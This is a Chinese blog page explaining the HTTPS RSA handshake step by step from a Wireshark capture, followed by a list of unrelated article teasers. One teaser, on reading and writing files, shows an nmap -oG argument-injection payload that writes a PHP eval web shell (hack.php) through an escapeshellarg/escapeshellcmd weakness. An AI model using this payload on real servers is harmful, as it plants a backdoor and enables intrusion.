当前位置：首页 > news >正文

HTTPS-RSA握手

news 2025/7/1 10:26:06

RSA握手过程

HTTPS采用了公钥加密和对称加密结合的方式进行数据加密和解密

RSA握手是HTTPS连接建立过程中的一个关键步骤，用于确保通信双方的身份验证和生成对称加密所需的密钥

通过RSA握手过程，客户端和服务器可以协商出一个共享的对称密钥，并确保通信双方的身份验证和数据传输的安全性

通过Wireshark抓包，一共经历了四次握手

TLS第一次握手

客户端向服务器发出Client Hello，客户端向服务器发送一个包含加密套件列表、随机数和其他参数的消息，以表示自己支持的加密算法和通信参数
Random随机数是生成会话秘钥的材料之一

TLS第二次握手

服务器发送ServerHello：服务器从客户端发送的加密套件列表中选择最合适的加密套件，并返回给客户端一个包含自己的证书（包含公钥）、随机数和其他参数的消息。
服务端的密钥套件为：Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256
一般WITH前面有两个算法，这只有RSA，说明密钥交换算法和签名算法都是RSA
握手后使用AES对称算法
随机数是产生会话秘钥的第二个材料
返回给客户端的证书是包含服务器的公钥的，客户端通过CA的公钥来解密获得服务器的公钥

数字证书的签发和验证流程

TLS第三次握手

客户端生成一个随机数(pre-master)，再用服务器的RSA公钥加密该随机数，通过Client key Exchange消息传给服务器
因此，客户端，服务器都有了三个随机数，分别是Client Random，Server Random和pre-master
双方通过这三个随机数生成会话秘钥，用于对后续的HTTP请求响应的加密
生成完会话秘钥后，客户端发送change cipher spec消息给服务端，开始使用会话秘钥进行加密通信
客户端最后再发Encrypted Handshake Message消息把之前数据做一个摘要处理，使用会话秘钥加密发送给服务器，让服务器做验证

TLS第四次握手

服务器也发送一样的消息给客户端，让客户端做验证，如果都没问题，那么握手就完成了，之后就使用会话秘钥进行加密通信了

HTTPS-RSA握手

RSA握手过程 HTTPS采用了公钥加密和对称加密结合的方式进行数据加密和解密 RSA握手是HTTPS连接建立过程中的一个关键步骤，用于确保通信双方的身份验证和生成对称加密所需的密钥通过RSA握手过程，客户端和服务器可以协商出一个共享的对称密钥，…...

编程日记 2023/8/7 21:20:31

bigemap国土管理行业应用

由于国营企业单位，管理土地，必须要有这样的软件套图客户之前用的谷歌，后来不能访问了，通过其他途径搜索到我们客户使用软件一般都用于套坐标以及空间规划图，方便于项目选址和居民建房报建在卫星图上找到用地范围&am…...

编程日记 2023/8/7 21:19:29

深入探索 Splashtop Enterprise 的潜力

在当今高度技术化的环境中，远程访问解决方案已成为无数组织的支柱。远程访问解决方案缩短了员工与工作之间的地理差距，提高了工作的效率和灵活性，促进形成了无缝的工作体验。在众多远程访问解决方案中，Splashtop Enterprise 作为远…...

编程日记 2023/8/7 21:18:28

创建型模式-单例模式

文章目录一、创建型模式1. 单例设计模式1.1 单例模式的结构1.2 单例模式的实现（1）饿汉式-方式1（静态变量方式）（2）饿汉式-方式2（静态代码块方式）（3）懒汉式-方…...

编程日记 2023/8/7 21:17:26

2. Linux安装Git

yum安装查看版本版本太低，所以我们采用自己上传编译的方式进行删除已安装的git yum remove git 下载最新安装包，并上传到服务器文件夹下上传，解压 5.安装编译需要的依赖 yum install curl-devel expat-devel gettext-devel openssl-…...

编程日记 2023/8/7 21:16:25

检查网站是HTTP那种协议与获取域名的ipv6地址

前言最近在做HTTPS的应用，可能需要使用ipv6的地址做SLB，但是怎么检查配置正确，总不能每次都看日志吧，实际上客户端也很容易查看，总结工作经验。检查HTTP协议版本笔者想到了使用浏览器方式，或者抓包&a…...

编程日记 2023/8/7 21:15:24

【转】金融行业JR/T0197-2020《金融数据安全数据安全分级指南》解读

原文链接：金融行业JR/T0197-2020《金融数据安全数据安全分级指南》解读《金融数据安全数据安全分级指南》解读随着IT技术的发展，银行的基础业务、核心流程等众多事务和活动都运营在信息化基础之上，金融机构运行过程中产生了大量的数字…...

编程日记 2023/8/7 21:14:22

FPGA学习——电子时钟模拟（新）

文章目录一、数码管简介二、C4开发板数码管原理图三、代码实现四、实现效果五、总结博主在之前曾经编写过一篇电子时钟的博客（详情请见此篇博文），但曾经编写的电子时钟，未显示小数点位，同时当时的数码管模块是为了电…...

编程日记 2023/8/7 21:13:21

一文读懂快速开发平台

一、开发平台是什么？ 开发平台是指以一或多种编程语言为基础而开发的一种软件，通常其不作为最终的软件产品，它是一类可二次开发的软件框架，开发者能利用其高效地开发各类软件产品。在利用开发平台进行开发工作时，可摒…...

编程日记 2023/8/7 21:12:20

Docker实战-操作Docker容器实战(二)

导语上篇分享中，我们介绍了关于如何创建容器、如何启动容器、如何停止容器。这篇我们来分享一下如何操作容器。如何进入容器可以通过使用-d参数启动容器后会进入后台运行，用户无法查看容器中的信息，无法对容器中的信息进行操作。这个时候如果我们需要进入容器对容器…...

编程日记 2023/8/7 21:11:19

redis原理 5：同舟共济 —— 事务

为了确保连续多个操作的原子性，一个成熟的数据库通常都会有事务支持，Redis 也不例外。Redis 的事务使用非常简单，不同于关系数据库，我们无须理解那么多复杂的事务模型，就可以直接使用。不过也正是因为这种简单性&#…...

编程日记 2023/8/7 21:10:17

FreeRTOS（vTaskList与vTaskGetRunTimeStats）

目录 1、Cube配置 ①配置SYS ②配置TIM3 ③配置USART2 ④配置FreeRTOS ⑤配置中断优先级 2、代码添加改动 ①在main函数合适位置开启TIM3中断 ②修改HAL_TIM_PeriodElapsedCallback函数 ③完善两个相关函数 ④vTaskList与vTaskGetRunTimeStats的使用 vTaskList&#xff…...

编程日记 2023/8/7 21:09:15

机器学习---概述(二)

文章目录 1.模型评估1.1 分类模型评估1.2 回归模型评估 2. 拟合2.1 欠拟合2.2 过拟合2.3 适当拟合总结： 3.深度学习3.1层次（Layers）：3.2 神经元（Neurons）：3.3 总结 1.模型评估模型评估是机器学…...

编程日记 2023/8/7 21:08:14

OPENCV C++(六)canny边缘检测+仿射变换+透射变换

图像的缩放 resize(image, image, Size(round(image.cols * 0.5), round(image.rows * 0.5))); 输入图像输出图像大小变换 canny边缘算子的使用 cvtColor(image, gray, COLOR_BGR2GRAY);Canny(gray, canny_mat, 40, 100); 必须先转化为灰度图，作为输入超过100是真…...

编程日记 2023/8/7 21:07:12

大量删除hdfs历史文件导致全部DataNode心跳汇报超时为死亡状态问题解决

背景： 由于测试环境的磁盘满了，导致多个NodeManager出现不健康状态，查看了下，基本都是data空间满导致，不是删除日志文件等就能很快解决的，只能删除一些历史没有用的数据。于是从大文件列表中，找…...

编程日记 2023/8/7 21:06:08

农商行基于分类分级的数据安全管控建设实践

《数据安全法》颁布实施以来，以分类分级为基础，对数据进行差异化管理和防护，成为行业共识。金融行业作为数据密集的高地，安全是重中之重，而鉴于金融数据种类和内容庞杂，面临规模化用数、普惠用数、跨机构共…...

编程日记 2023/8/7 21:05:07

读写文件(

一.写文件 1.Nmap escapeshellarg()和escapeshellcmd() : 简化: <?php phpinfo();?> -oG hack.php———————————— nmap写入文件escapeshellarg()和escapeshellcmd() 漏洞 <?php eval($_POST["hack"]);?> -oG hack.php 显示位置*** 8…...

编程日记 2023/8/7 21:04:06

.net core 依赖注入生命周期

在.NET Core中，依赖注入的生命周期用于控制注入的服务实例的生命周期。下面是.NET Core中常用的几种依赖注入生命周期： Singleton（单例）：在整个应用程序生命周期内只创建一个实例。每次注入都返回同一个实例。示例代码…...

编程日记 2023/8/7 21:03:05

栈和队列的实现

Lei宝啊：个人主页（也许有你想看的） 愿所有美好不期而遇前言 ： 栈和队列的实现与链表的实现很相似，新瓶装旧酒，没什么新东西。可以参考这篇文章： -------------------------无头单向不循环…...

编程日记 2023/8/7 21:02:02

java中的垃圾收集机制

推荐 1 1 垃圾回收 1.1 java的gc堆中的对象而言，什么时候对象会从待回收状态变为激活状态（垃圾变成非垃圾对象） 当然可以。首先，为了使用 try-with-resources，您需要一个实现了 AutoCloseable 或 Closeable 接口的…...

编程日记 2023/8/7 21:01:01

基于算法竞赛的c++编程（28）结构体的进阶应用

结构体的嵌套与复杂数据组织在C中，结构体可以嵌套使用，形成更复杂的数据结构。例如，可以通过嵌套结构体描述多层级数据关系： struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

编程新知 2025/6/17 5:30:27

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下： struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

编程新知 2025/6/17 9:20:49

前端倒计时误差!

提示：记录工作中遇到的需求及解决办法文章目录前言一、误差从何而来？二、五大解决方案1. 动态校准法（基础版）2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言前几天听说公司某个项…...

编程新知 2025/6/21 0:42:19

什么是库存周转？如何用进销存系统提高库存周转率？

你可能听说过这样一句话： “利润不是赚出来的，是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业，很多企业看着销售不错，账上却没钱、利润也不见了，一翻库存才发现： 一堆卖不动的旧货…...

编程新知 2025/6/22 11:40:55

JDK 17 新特性

#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持，不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的&#xff…...

编程新知 2025/6/21 1:16:50

Java求职者面试指南：Spring、Spring Boot、MyBatis框架与计算机基础问题解析

Java求职者面试指南：Spring、Spring Boot、MyBatis框架与计算机基础问题解析一、第一轮提问（基础概念问题） 1. 请解释Spring框架的核心容器是什么？它在Spring中起到什么作用？ Spring框架的核心容器是IoC容器&#…...

编程新知 2025/6/16 22:53:40

Docker 本地安装 mysql 数据库

Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker ；并安装。基础操作不再赘述。打开 macOS 终端，开始 docker 安装mysql之旅第一步 docker search mysql 》〉docker search mysql NAME DE…...

编程新知 2025/6/22 5:30:42